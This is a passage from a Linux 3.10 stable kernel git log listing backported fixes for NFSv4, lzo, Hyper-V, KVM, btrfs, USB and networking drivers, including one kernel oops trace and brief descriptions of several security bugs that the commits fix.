nfs41_proc_async_sequence rpc_release function schedules another state remewal via nfs4_schedule_state_renewal. Without this change we can get into a state where an application stops accessing the NFSv4.1 share, state renewal calls stop due to the NFS4_RENEW_TIMEOUT flag _not_ being set. The only way to recover from this situation is with a clientid re-establishment, once the application resumes and the server has timed out the lease and so returns NFS4ERR_BAD_SESSION on the subsequent SEQUENCE operation. An example application: open, lock, write a file. sleep for 6 * lease (could be less) ulock, close. In the above example with NFSv4.1 delegations enabled, without this change, there are no OP_SEQUENCE state renewal calls during the sleep, and the clientid is recovered due to lease expiration on the close. This issue does not occur with NFSv4.1 delegations disabled, nor with NFSv4.0, with or without delegations enabled. Signed-off-by: Andy Adamson Link: http://lkml.kernel.org/r/1411486536-23401-1-git-send-email-andros@netapp.com Fixes: 2f60ea6b8ced (NFSv4: The NFSv4.0 client must send RENEW calls...) Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4bf3f1a3eea843f53b5a6a28843db868ddf24730 Author: Trond Myklebust Date: Sat Sep 27 17:41:51 2014 -0400 NFSv4: fix open/lock state recovery error handling commit df817ba35736db2d62b07de6f050a4db53492ad8 upstream. The current open/lock state recovery unfortunately does not handle errors such as NFS4ERR_CONN_NOT_BOUND_TO_SESSION correctly. Instead of looping, just proceeds as if the state manager is finished recovering. This patch ensures that we loop back, handle higher priority errors and complete the open/lock state recovery. Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0cadc362d0d35f247b41c726e21c8431ea01e5a9 Author: Trond Myklebust Date: Sat Sep 27 17:02:26 2014 -0400 NFSv4: Fix lock recovery when CREATE_SESSION/SETCLIENTID_CONFIRM fails commit a4339b7b686b4acc8b6de2b07d7bacbe3ae44b83 upstream. If a NFSv4.x server returns NFS4ERR_STALE_CLIENTID in response to a CREATE_SESSION or SETCLIENTID_CONFIRM in order to tell us that it rebooted a second time, then the client will currently take this to mean that it must declare all locks to be stale, and hence ineligible for reboot recovery. RFC3530 and RFC5661 both suggest that the client should instead rely on the server to respond to inelegible open share, lock and delegation reclaim requests with NFS4ERR_NO_GRACE in this situation. Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a6fd3af2b876ed7cd2208a22e901e6e43a49b8b Author: Willy Tarreau Date: Sat Sep 27 12:31:37 2014 +0200 lzo: check for length overrun in variable length encoding. commit 72cf90124e87d975d0b2114d930808c58b4c05e4 upstream. This fix ensures that we never meet an integer overflow while adding 255 while parsing a variable length encoding. It works differently from commit 206a81c ("lzo: properly check for overruns") because instead of ensuring that we don't overrun the input, which is tricky to guarantee due to many assumptions in the code, it simply checks that the cumulated number of 255 read cannot overflow by bounding this number. The MAX_255_COUNT is the maximum number of times we can add 255 to a base count without overflowing an integer. The multiply will overflow when multiplying 255 by more than MAXINT/255. The sum will overflow earlier depending on the base count. Since the base count is taken from a u8 and a few bits, it is safe to assume that it will always be lower than or equal to 2*255, thus we can always prevent any overflow by accepting two less 255 steps. This patch also reduces the CPU overhead and actually increases performance by 1.1% compared to the initial code, while the previous fix costs 3.1% (measured on x86_64). The fix needs to be backported to all currently supported stable kernels. Reported-by: Willem Pinckaers Cc: "Don A. Bailey" Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6d0a7f8c4442874f7747935533ca14760b167cf Author: Willy Tarreau Date: Sat Sep 27 12:31:36 2014 +0200 Revert "lzo: properly check for overruns" commit af958a38a60c7ca3d8a39c918c1baa2ff7b6b233 upstream. This reverts commit 206a81c ("lzo: properly check for overruns"). As analysed by Willem Pinckaers, this fix is still incomplete on certain rare corner cases, and it is easier to restart from the original code. Reported-by: Willem Pinckaers Cc: "Don A. Bailey" Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7490243b38246bce322ece920ad12d4c1c646a1a Author: Willy Tarreau Date: Sat Sep 27 12:31:35 2014 +0200 Documentation: lzo: document part of the encoding commit d98a0526434d27e261f622cf9d2e0028b5ff1a00 upstream. Add a complete description of the LZO format as processed by the decompressor. I have not found a public specification of this format hence this analysis, which will be used to better understand the code. Cc: Willem Pinckaers Cc: "Don A. Bailey" Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 653fb1326e3083a5f102594890b82eaf161cca83 Author: Geert Uytterhoeven Date: Sun Sep 28 10:50:06 2014 +0200 m68k: Disable/restore interrupts in hwreg_present()/hwreg_write() commit e4dc601bf99ccd1c95b7e6eef1d3cf3c4b0d4961 upstream. hwreg_present() and hwreg_write() temporarily change the VBR register to another vector table. This table contains a valid bus error handler only, all other entries point to arbitrary addresses. If an interrupt comes in while the temporary table is active, the processor will start executing at such an arbitrary address, and the kernel will crash. While most callers run early, before interrupts are enabled, or explicitly disable interrupts, Finn Thain pointed out that macsonic has one callsite that doesn't, causing intermittent boot crashes. There's another unsafe callsite in hilkbd. Fix this for good by disabling and restoring interrupts inside hwreg_present() and hwreg_write(). Explicitly disabling interrupts can be removed from the callsites later. Reported-by: Finn Thain Signed-off-by: Geert Uytterhoeven Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 200e6857e8b08e73a8dfff2dad9ea80c6815a800 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:35 2014 -0700 Drivers: hv: vmbus: Fix a bug in vmbus_open() commit 45d727cee9e200f5b351528b9fb063b69cf702c8 upstream. Fix a bug in vmbus_open() and properly propagate the error. I would like to thank Dexuan Cui for identifying the issue. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a03c28a7deb85302faa9a175d5f4b9e47a60999 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:34 2014 -0700 Drivers: hv: vmbus: Cleanup vmbus_establish_gpadl() commit 72c6b71c245dac8f371167d97ef471b367d0b66b upstream. Eliminate the call to BUG_ON() by waiting for the host to respond. We are trying to reclaim the ownership of memory that was given to the host and so we will have to wait until the host responds. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd009347666768df06eb7c78bc3ac7ec0af07c10 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:32 2014 -0700 Drivers: hv: vmbus: Cleanup vmbus_teardown_gpadl() commit 66be653083057358724d56d817e870e53fb81ca7 upstream. Eliminate calls to BUG_ON() by properly handling errors. In cases where rollback is possible, we will return the appropriate error to have the calling code decide how to rollback state. In the case where we are transferring ownership of the guest physical pages to the host, we will wait for the host to respond. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8933e5f171e3c752b2ce26697ad4c0efa3bb2fa0 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:31 2014 -0700 Drivers: hv: vmbus: Cleanup vmbus_post_msg() commit fdeebcc62279119dbeafbc1a2e39e773839025fd upstream. Posting messages to the host can fail because of transient resource related failures. Correctly deal with these failures and increase the number of attempts to post the message before giving up. In this version of the patch, I have normalized the error code to Linux error code. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc498c2b0b5549f68a2cd4cda01b4eb7296f1ff5 Author: Arun Easi Date: Thu Sep 25 06:14:45 2014 -0400 qla2xxx: Use correct offset to req-q-out for reserve calculation commit 75554b68ac1e018bca00d68a430b92ada8ab52dd upstream. Signed-off-by: Arun Easi Signed-off-by: Saurav Kashyap Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e589f7fab6d5eaaab3a1d71361814627fa9cbde4 Author: Chris J Arges Date: Tue Sep 23 09:22:25 2014 -0500 mptfusion: enable no_write_same for vmware scsi disks commit 4089b71cc820a426d601283c92fcd4ffeb5139c2 upstream. When using a virtual SCSI disk in a VMWare VM if blkdev_issue_zeroout is used data can be improperly zeroed out using the mptfusion driver. This patch disables write_same for this driver and the vmware subsystem_vendor which ensures that manual zeroing out is used instead. BugLink: http://bugs.launchpad.net/bugs/1371591 Reported-by: Bruce Lucas Tested-by: Chris J Arges Signed-off-by: Chris J Arges Reviewed-by: Martin K. Petersen Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4835cb03f6366e37dd1b1694521c5983c8be89f0 Author: Mike Christie Date: Mon Sep 29 13:55:41 2014 -0500 be2iscsi: check ip buffer before copying commit a41a9ad3bbf61fae0b6bfb232153da60d14fdbd9 upstream. Dan Carpenter found a issue where be2iscsi would copy the ip from userspace to the driver buffer before checking the len of the data being copied: http://marc.info/?l=linux-scsi&m=140982651504251&w=2 This patch just has us only copy what we the driver buffer can support. Tested-by: John Soni Jose Signed-off-by: Mike Christie Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86a50a122b93f433a56340524679e8583cb7499b Author: Andy Shevchenko Date: Fri Sep 12 15:11:58 2014 +0300 spi: dw-mid: check that DMA was inited before exit commit fb57862ead652454ceeb659617404c5f13bc34b5 upstream. If the driver was compiled with DMA support, but DMA channels weren't acquired by some reason, mid_spi_dma_exit() will crash the kernel. Fixes: 7063c0d942a1 (spi/dw_spi: add DMA support) Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4da4426212e30360b175b64b8bf383047da2142c Author: Andy Shevchenko Date: Thu Sep 18 20:08:51 2014 +0300 spi: dw-mid: respect 8 bit mode commit b41583e7299046abdc578c33f25ed83ee95b9b31 upstream. In case of 8 bit mode and DMA usage we end up with every second byte written as 0. We have to respect bits_per_word settings what this patch actually does. Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3c9fffca1526349049e86f670a2dbd86514f78de Author: Bryan O'Donoghue Date: Wed Sep 24 00:26:24 2014 +0100 x86/intel/quark: Switch off CR4.PGE so TLB flush uses CR3 instead commit ee1b5b165c0a2f04d2107e634e51f05d0eb107de upstream. Quark x1000 advertises PGE via the standard CPUID method PGE bits exist in Quark X1000's PTEs. In order to flush an individual PTE it is necessary to reload CR3 irrespective of the PTE.PGE bit. See Quark Core_DevMan_001.pdf section 6.4.11 This bug was fixed in Galileo kernels, unfixed vanilla kernels are expected to crash and burn on this platform. Signed-off-by: Bryan O'Donoghue Cc: Borislav Petkov Link: http://lkml.kernel.org/r/1411514784-14885-1-git-send-email-pure.logic@nexus-software.ie Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dc915df75116abae129a65a019855237b7fbb56b Author: David Matlack Date: Fri Sep 19 16:03:25 2014 -0700 kvm: don't take vcpu mutex for obviously invalid vcpu ioctls commit 2ea75be3219571d0ec009ce20d9971e54af96e09 upstream. vcpu ioctls can hang the calling thread if issued while a vcpu is running. However, invalid ioctls can happen when userspace tries to probe the kind of file descriptors (e.g. isatty() calls ioctl(TCGETS)); in that case, we know the ioctl is going to be rejected as invalid anyway and we can fail before trying to take the vcpu mutex. This patch does not change functionality, it just makes invalid ioctls fail faster. Signed-off-by: David Matlack Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2814f0e922a9018ecb6d6abafd09974c89e3c79d Author: Christian Borntraeger Date: Wed Sep 3 16:21:32 2014 +0200 KVM: s390: unintended fallthrough for external call commit f346026e55f1efd3949a67ddd1dcea7c1b9a615e upstream. We must not fallthrough if the conditions for external call are not met. Signed-off-by: Christian Borntraeger Reviewed-by: Thomas Huth Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit efe51332bc09e30ffecb9821be14547fd4736d4d Author: David Matlack Date: Mon Aug 18 15:46:07 2014 -0700 kvm: x86: fix stale mmio cache bug commit 56f17dd3fbc44adcdbc3340fe3988ddb833a47a7 upstream. The following events can lead to an incorrect KVM_EXIT_MMIO bubbling up to userspace: (1) Guest accesses gpa X without a memory slot. The gfn is cached in struct kvm_vcpu_arch (mmio_gfn). On Intel EPT-enabled hosts, KVM sets the SPTE write-execute-noread so that future accesses cause EPT_MISCONFIGs. (2) Host userspace creates a memory slot via KVM_SET_USER_MEMORY_REGION covering the page just accessed. (3) Guest attempts to read or write to gpa X again. On Intel, this generates an EPT_MISCONFIG. The memory slot generation number that was incremented in (2) would normally take care of this but we fast path mmio faults through quickly_check_mmio_pf(), which only checks the per-vcpu mmio cache. Since we hit the cache, KVM passes a KVM_EXIT_MMIO up to userspace. This patch fixes the issue by using the memslot generation number to validate the mmio cache. Signed-off-by: David Matlack [xiaoguangrong: adjust the code to make it simpler for stable-tree fix.] Signed-off-by: Xiao Guangrong Reviewed-by: David Matlack Reviewed-by: Xiao Guangrong Tested-by: David Matlack Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bdeec872014c6ccb301884f9a401661c896240d4 Author: Andy Lutomirski Date: Wed Oct 8 12:32:47 2014 -0700 fs: Add a missing permission check to do_umount commit a1480dcc3c706e309a88884723446f2e84fedd5b upstream. Accessing do_remount_sb should require global CAP_SYS_ADMIN, but only one of the two call sites was appropriately protected. Fixes CVE-2014-7975. Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7805aadf476da522a53d9994484a81468d819ede Author: Sage Weil Date: Fri Sep 26 08:30:06 2014 -0700 Btrfs: fix race in WAIT_SYNC ioctl commit 42383020beb1cfb05f5d330cc311931bc4917a97 upstream. We check whether transid is already committed via last_trans_committed and then search through trans_list for pending transactions. If last_trans_committed is updated by btrfs_commit_transaction after we check it (there is no locking), we will fail to find the committed transaction and return EINVAL to the caller. This has been observed occasionally by ceph-osd (which uses this ioctl heavily). Fix by rechecking whether the provided transid <= last_trans_committed after the search fails, and if so return 0. Signed-off-by: Sage Weil Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0856c311af985543753720cee6c4d45c2f95aca3 Author: Josef Bacik Date: Fri Sep 19 15:43:34 2014 -0400 Btrfs: fix build_backref_tree issue with multiple shared blocks commit bbe9051441effce51c9a533d2c56440df64db2d7 upstream. Marc Merlin sent me a broken fs image months ago where it would blow up in the upper->checked BUG_ON() in build_backref_tree. This is because we had a scenario like this block a -- level 4 (not shared) | block b -- level 3 (reloc block, shared) | block c -- level 2 (not shared) | block d -- level 1 (shared) | block e -- level 0 (shared) We go to build a backref tree for block e, we notice block d is shared and add it to the list of blocks to lookup it's backrefs for. Now when we loop around we will check edges for the block, so we will see we looked up block c last time. So we lookup block d and then see that the block that points to it is block c and we can just skip that edge since we've already been up this path. The problem is because we clear need_check when we see block d (as it is shared) we never add block b as needing to be checked. And because block c is in our path already we bail out before we walk up to block b and add it to the backref check list. To fix this we need to reset need_check if we trip over a block that doesn't need to be checked. This will make sure that any subsequent blocks in the path as we're walking up afterwards are added to the list to be processed. With this patch I can now mount Marc's fs image and it'll complete the balance without panicing. Thanks, Reported-by: Marc MERLIN Signed-off-by: Josef Bacik Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ceed8aa6df5cdcd04451f809b8860b95dfdc786f Author: Josef Bacik Date: Thu Sep 18 11:30:44 2014 -0400 Btrfs: try not to ENOSPC on log replay commit 1d52c78afbbf80b58299e076a159617d6b42fe3c upstream. When doing log replay we may have to update inodes, which traditionally goes through our delayed inode stuff. This will try to move space over from the trans handle, but we don't reserve space in our trans handle on replay since we don't know how much we will need, so instead we try to flush. But because we have a trans handle open we won't flush anything, so if we are out of reserve space we will simply return ENOSPC. Since we know that if an operation made it into the log then we definitely had space before the box bought the farm then we don't need to worry about doing this space reservation. Use the fs_info->log_root_recovering flag to skip the delayed inode stuff and update the item directly. Thanks, Signed-off-by: Josef Bacik Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eebc4b0162b66873e135e44e1e8c20dd1667a266 Author: Greg Kroah-Hartman Date: Wed Oct 15 08:32:29 2014 +0200 Linux 3.10.58 Signed-off-by: Pranav Vashi commit 5557c8409d631a61ab54426bca25dd5ea8246b9e Author: Andreas Bomholtz Date: Mon Sep 22 09:50:43 2014 +0200 USB: cp210x: add support for Seluxit USB dongle commit dee80ad12d2b1b304286a707fde7ab05d1fc7bab upstream. Added the Seluxit ApS USB Serial Dongle to cp210x driver. Signed-off-by: Andreas Bomholtz Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8e6847a6a756a9e4d5f74fc3df6f65a27150813 Author: Joe Savage Date: Sat Sep 20 08:01:16 2014 -0500 USB: serial: cp210x: added Ketra N1 wireless interface support commit bfc2d7dfdd761ae3beccdb26abebe03cef042f46 upstream. Added support for Ketra N1 wireless interface, which uses the Silicon Labs' CP2104 USB to UART bridge with customized PID 8946. Signed-off-by: Joe Savage Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f16873510fba6e18d8d4cf9633cd1eeca3572cf3 Author: Lu Baolu Date: Fri Sep 19 10:13:50 2014 +0800 USB: Add device quirk for ASUS T100 Base Station keyboard commit ddbe1fca0bcb87ca8c199ea873a456ca8a948567 upstream. This full-speed USB device generates spurious remote wakeup event as soon as USB_DEVICE_REMOTE_WAKEUP feature is set. As the result, Linux can't enter system suspend and S0ix power saving modes once this keyboard is used. This patch tries to introduce USB_QUIRK_IGNORE_REMOTE_WAKEUP quirk. With this quirk set, wakeup capability will be ignored during device configure. This patch could be back-ported to kernels as old as 2.6.39. Signed-off-by: Lu Baolu Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit af2b4ee7558d41a7d25a3c5300a0406db119f2c0 Author: Gao feng Date: Fri Jan 24 16:29:11 2014 +0800 ipv6: reallocate addrconf router for ipv6 address when lo device up [ Upstream commit 33d99113b1102c2d2f8603b9ba72d89d915c13f5 ] commit 25fb6ca4ed9cad72f14f61629b68dc03c0d9713f "net IPv6 : Fix broken IPv6 routing table after loopback down-up" allocates addrconf router for ipv6 address when lo device up. but commit a881ae1f625c599b460cc8f8a7fcb1c438f699ad "ipv6:don't call addrconf_dst_alloc again when enable lo" breaks this behavior. Since the addrconf router is moved to the garbage list when lo device down, we should release this router and rellocate a new one for ipv6 address when lo device up. This patch solves bug 67951 on bugzilla https://bugzilla.kernel.org/show_bug.cgi?id=67951 change from v1: use ip6_rt_put to repleace ip6_del_rt, thanks Hannes! change code style, suggested by Sergei. CC: Sabrina Dubroca CC: Hannes Frederic Sowa Reported-by: Weilong Chen Signed-off-by: Weilong Chen Signed-off-by: Gao feng Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 225029fefa20601b5784a24735899a377f64f07d Author: Per Hurtig Date: Thu Jun 12 17:08:32 2014 +0200 tcp: fixing TLP's FIN recovery [ Upstream commit bef1909ee3ed1ca39231b260a8d3b4544ecd0c8f ] Fix to a problem observed when losing a FIN segment that does not contain data. In such situations, TLP is unable to recover from *any* tail loss and instead adds at least PTO ms to the retransmission process, i.e., RTO = RTO + PTO. Signed-off-by: Per Hurtig Signed-off-by: Eric Dumazet Acked-by: Nandita Dukkipati Acked-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb4b18c44cffa0a427e38e22bae5733e3e56fe26 Author: Vlad Yasevich Date: Fri Oct 3 18:16:20 2014 -0400 sctp: handle association restarts when the socket is closed. [ Upstream commit bdf6fa52f01b941d4a80372d56de465bdbbd1d23 ] Currently association restarts do not take into consideration the state of the socket. When a restart happens, the current assocation simply transitions into established state. This creates a condition where a remote system, through a the restart procedure, may create a local association that is no way reachable by user. The conditions to trigger this are as follows: 1) Remote does not acknoledge some data causing data to remain outstanding. 2) Local application calls close() on the socket. Since data is still outstanding, the association is placed in SHUTDOWN_PENDING state. However, the socket is closed. 3) The remote tries to create a new association, triggering a restart on the local system. The association moves from SHUTDOWN_PENDING to ESTABLISHED. At this point, it is no longer reachable by any socket on the local system. This patch addresses the above situation by moving the newly ESTABLISHED association into SHUTDOWN-SENT state and bundling a SHUTDOWN after the COOKIE-ACK chunk. This way, the restarted associate immidiately enters the shutdown procedure and forces the termination of the unreachable association. Reported-by: David Laight Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84cf7bc1c8eaf90b1ebc96706c9c950cd9b0f185 Author: Nicolas Dichtel Date: Thu Oct 2 18:26:49 2014 +0200 ip6_gre: fix flowi6_proto value in xmit path [ Upstream commit 3be07244b7337760a3269d56b2f4a63e72218648 ] In xmit path, we build a flowi6 which will be used for the output route lookup. We are sending a GRE packet, neither IPv4 nor IPv6 encapsulated packet, thus the protocol should be IPPROTO_GRE. Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Reported-by: Matthieu Ternisien d'Ouville Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8a6fb0889ae13b70dec962f70b71f0c2b7db4a4 Author: KY Srinivasan Date: Sun Sep 28 22:16:43 2014 -0700 hyperv: Fix a bug in netvsc_start_xmit() [ Upstream commit dedb845ded56ded1c62f5398a94ffa8615d4592d ] After the packet is successfully sent, we should not touch the skb as it may have been freed. This patch is based on the work done by Long Li . In this version of the patch I have fixed issues pointed out by David. David, please queue this up for stable. Signed-off-by: K. Y. Srinivasan Tested-by: Long Li Tested-by: Sitsofe Wheeler Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 47b419345edee271bc2593ab4d235851d5d8dc16 Author: Vlad Yasevich Date: Tue Sep 30 19:39:36 2014 -0400 tg3: Allow for recieve of full-size 8021AD frames [ Upstream commit 7d3083ee36b51e425b6abd76778a2046906b0fd3 ] When receiving a vlan-tagged frame that still contains a vlan header, the length of the packet will be greater then MTU+ETH_HLEN since it will account of the extra vlan header. TG3 checks this for the case for 802.1Q, but not for 802.1ad. As a result, full sized 802.1ad frames get dropped by the card. Add a check for 802.1ad protocol when receving full sized frames. Suggested-by: Prashant Sreedharan CC: Prashant Sreedharan CC: Michael Chan Signed-off-by: Vladislav Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1f0555f0e65f5fb032c0ec3191280fd8afcdb9d Author: Vlad Yasevich Date: Thu Sep 18 10:31:17 2014 -0400 tg3: Work around HW/FW limitations with vlan encapsulated frames [ Upstream commit 476c18850c6cbaa3f2bb661ae9710645081563b9 ] TG3 appears to have an issue performing TSO and checksum offloading correclty when the frame has been vlan encapsulated (non-accelrated). In these cases, tcp checksum is not correctly updated. This patch attempts to work around this issue. After the patch, 802.1ad vlans start working correctly over tg3 devices. CC: Prashant Sreedharan CC: Michael Chan Signed-off-by: Vladislav Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 25e6eb450d78c12f8e845f1339222e570f9805ca Author: Guillaume Nault Date: Wed Sep 3 14:12:55 2014 +0200 l2tp: fix race while getting PMTU on PPP pseudo-wire [ Upstream commit eed4d839b0cdf9d84b0a9bc63de90fd5e1e886fb ] Use dst_entry held by sk_dst_get() to retrieve tunnel's PMTU. The dst_mtu(__sk_dst_get(tunnel->sock)) call was racy. __sk_dst_get() could return NULL if tunnel->sock->sk_dst_cache was reset just before the call, thus making dst_mtu() dereference a NULL pointer: [ 1937.661598] BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 [ 1937.664005] IP: [] pppol2tp_connect+0x33d/0x41e [l2tp_ppp] [ 1937.664005] PGD daf0c067 PUD d9f93067 PMD 0 [ 1937.664005] Oops: 0000 [#1] SMP [ 1937.664005] Modules linked in: l2tp_ppp l2tp_netlink l2tp_core ip6table_filter ip6_tables iptable_filter ip_tables ebtable_nat ebtables x_tables udp_tunnel pppoe pppox ppp_generic slhc deflate ctr twofish_generic twofish_x86_64_3way xts lrw gf128mul glue_helper twofish_x86_64 twofish_common blowfish_generic blowfish_x86_64 blowfish_common des_generic cbc xcbc rmd160 sha512_generic hmac crypto_null af_key xfrm_algo 8021q garp bridge stp llc tun atmtcp clip atm ext3 mbcache jbd iTCO_wdt coretemp kvm_intel iTCO_vendor_support kvm pcspkr evdev ehci_pci lpc_ich mfd_core i5400_edac edac_core i5k_amb shpchp button processor thermal_sys xfs crc32c_generic libcrc32c dm_mod usbhid sg hid sr_mod sd_mod cdrom crc_t10dif crct10dif_common ata_generic ahci ata_piix tg3 libahci libata uhci_hcd ptp ehci_hcd pps_core usbcore scsi_mod libphy usb_common [last unloaded: l2tp_core] [ 1937.664005] CPU: 0 PID: 10022 Comm: l2tpstress Tainted: G O 3.17.0-rc1 #1 [ 1937.664005] Hardware name: HP ProLiant DL160 G5, BIOS O12 08/22/2008 [ 1937.664005] task: ffff8800d8fda790 ti: ffff8800c43c4000 task.ti: ffff8800c43c4000 [ 1937.664005] RIP: 0010:[] [] pppol2tp_connect+0x33d/0x41e [l2tp_ppp] [ 1937.664005] RSP: 0018:ffff8800c43c7de8 EFLAGS: 00010282 [ 1937.664005] RAX: ffff8800da8a7240 RBX: ffff8800d8c64600 RCX: 000001c325a137b5 [ 1937.664005] RDX: 8c6318c6318c6320 RSI: 000000000000010c RDI: 0000000000000000 [ 1937.664005] RBP: ffff8800c43c7ea8 R08: 0000000000000000 R09: 0000000000000000 [ 1937.664005] R10: ffffffffa048e2c0 R11: ffff8800d8c64600 R12: ffff8800ca7a5000 [ 1937.664005] R13: ffff8800c439bf40 R14: 000000000000000c R15: 0000000000000009 [ 1937.664005] FS: 00007fd7f610f700(0000) GS:ffff88011a600000(0000) knlGS:0000000000000000 [ 1937.664005] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 1937.664005] CR2: 0000000000000020 CR3: 00000000d9d75000 CR4: 00000000000027e0 [ 1937.664005] Stack: [ 1937.664005] ffffffffa049da80 ffff8800d8fda790 000000000000005b ffff880000000009 [ 1937.664005] ffff8800daf3f200 0000000000000003 ffff8800c43c7e48 ffffffff81109b57 [ 1937.664005] ffffffff81109b0e ffffffff8114c566 0000000000000000 0000000000000000 [ 1937.664005] Call Trace: [ 1937.664005] [] ? pppol2tp_connect+0x235/0x41e [l2tp_ppp] [ 1937.664005] [] ? might_fault+0x9e/0xa5 [ 1937.664005] [] ? might_fault+0x55/0xa5 [ 1937.664005] [] ? rcu_read_unlock+0x1c/0x26 [ 1937.664005] [] SYSC_connect+0x87/0xb1 [ 1937.664005] [] ? sysret_check+0x1b/0x56 [ 1937.664005] [] ? trace_hardirqs_on_caller+0x145/0x1a1 [ 1937.664005] [] ? trace_hardirqs_on_thunk+0x3a/0x3f [ 1937.664005] [] ? spin_lock+0x9/0xb [ 1937.664005] [] SyS_connect+0x9/0xb [ 1937.664005] [] system_call_fastpath+0x16/0x1b [ 1937.664005] Code: 10 2a 84 81 e8 65 76 bd e0 65 ff 0c 25 10 bb 00 00 4d 85 ed 74 37 48 8b 85 60 ff ff ff 48 8b 80 88 01 00 00 48 8b b8 10 02 00 00 <48> 8b 47 20 ff 50 20 85 c0 74 0f 83 e8 28 89 83 10 01 00 00 89 [ 1937.664005] RIP [] pppol2tp_connect+0x33d/0x41e [l2tp_ppp] [ 1937.664005] RSP [ 1937.664005] CR2: 0000000000000020 [ 1939.559375] ---[ end trace 82d44500f28f8708 ]--- Fixes: f34c4a35d879 ("l2tp: take PMTU from tunnel UDP socket") Signed-off-by: Guillaume Nault Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b86d1485e15b2851376acc303332ce8aaf9892cb Author: Jiri Benc Date: Thu Aug 21 21:33:44 2014 +0200 openvswitch: fix panic with multiple vlan headers [ Upstream commit 2ba5af42a7b59ef01f9081234d8855140738defd ] When there are multiple vlan headers present in a received frame, the first one is put into vlan_tci and protocol is set to ETH_P_8021Q. Anything in the skb beyond the VLAN TPID may be still non-linear, including the inner TCI and ethertype. While ovs_flow_extract takes care of IP and IPv6 headers, it does nothing with ETH_P_8021Q. Later, if OVS_ACTION_ATTR_POP_VLAN is executed, __pop_vlan_tci pulls the next vlan header into vlan_tci. This leads to two things: 1. Part of the resulting ethernet header is in the non-linear part of the skb. When eth_type_trans is called later as the result of OVS_ACTION_ATTR_OUTPUT, kernel BUGs in __skb_pull. Also, __pop_vlan_tci is in fact accessing random data when it reads past the TPID. 2. network_header points into the ethernet header instead of behind it. mac_len is set to a wrong value (10), too. Reported-by: Yulong Pei Signed-off-by: Jiri Benc Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f6da2fac42c1cbd45f2d8f921aa78ce2a6294253 Author: Eric Dumazet Date: Fri Aug 15 09:16:04 2014 -0700 packet: handle too big packets for PACKET_V3 [ Upstream commit dc808110bb62b64a448696ecac3938902c92e1ab ] af_packet can currently overwrite kernel memory by out of bound accesses, because it assumed a [new] block can always hold one frame. This is not generally the case, even if most existing tools do it right. This patch clamps too long frames as API permits, and issue a one 